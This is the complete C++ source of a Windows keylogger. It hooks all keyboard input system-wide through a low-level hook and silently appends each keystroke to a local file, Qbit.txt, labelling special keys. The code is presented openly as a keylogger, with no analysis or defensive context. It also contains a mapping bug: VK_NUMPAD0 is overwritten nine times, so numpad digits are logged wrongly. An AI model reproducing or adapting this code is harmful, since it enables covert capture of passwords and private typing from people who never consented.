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#define _WIN32_WINNT 0x0500
#include <iostream>
#include <fstream>
#include <windows.h>
#include <stdlib.h>
#include <ctype.h>
#include <map>
#include <string>

HHOOK KeyboardHook;
std::map<DWORD, std::string>MyTextMap;

LRESULT LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   if((nCode==HC_ACTION) && (wParam==WM_KEYDOWN))
   {
      KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam;
      std::ofstream outfile;
      outfile.open ("Qbit.txt", std::ofstream::out | std::ofstream::app);
      std::map<DWORD, std::string>::const_iterator it = MyTextMap.find(HookStruct->vkCode);
      if(it != MyTextMap.end())
      {
         outfile << it->second;
      }
      else if(HookStruct->vkCode >= 0x20 && HookStruct->vkCode < 0x80)
      {
         outfile << (char)HookStruct->vkCode;
      }
      else
      {
         outfile << "[" << HookStruct->vkCode << "]";
      }
      outfile.close();
   }

   return CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,LPSTR lpCmdLine,INT nCmdShow)
{
   MyTextMap[VK_F1] = "{F1}";
   MyTextMap[VK_F2] = "{F2}";
   MyTextMap[VK_F3] = "{F3}";
   MyTextMap[VK_F4] = "{F4}";
   MyTextMap[VK_F5] = "{F5}";
   MyTextMap[VK_F6] = "{F6}";
   MyTextMap[VK_F7] = "{F7}";
   MyTextMap[VK_F8] = "{F8}";
   MyTextMap[VK_F9] = "{F9}";
   MyTextMap[VK_F10] = "{F10}";
   MyTextMap[VK_F11] = "{F11}";
   MyTextMap[VK_F12] = "{F12}";
   MyTextMap[VK_RETURN] = "{Enter}";
   MyTextMap[VK_TAB] = "{Tab}";
   MyTextMap[VK_BACK] = "{Backspace}";
   MyTextMap[VK_SHIFT] = "{Shift}";
   MyTextMap[VK_CAPITAL] = "{Caps Lock}";
   MyTextMap[VK_NUMPAD0] = "0";
   MyTextMap[VK_NUMPAD0] = "1";
   MyTextMap[VK_NUMPAD0] = "2";
   MyTextMap[VK_NUMPAD0] = "3";
   MyTextMap[VK_NUMPAD0] = "4";
   MyTextMap[VK_NUMPAD0] = "5";
   MyTextMap[VK_NUMPAD0] = "6";
   MyTextMap[VK_NUMPAD0] = "7";
   MyTextMap[VK_NUMPAD0] = "8";
   MyTextMap[VK_NUMPAD0] = "9";
   KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC  )LowLevelKeyboardProc, GetModuleHandle(0), 0);
   if(!KeyboardHook)
      MessageBox(0, "Hook fejlede", "Keylogger", MB_OK);
   MSG msg;
   while(GetMessage(&msg, 0, 0, 0xFFFF))
   {}
   return EXIT_SUCCESS;
}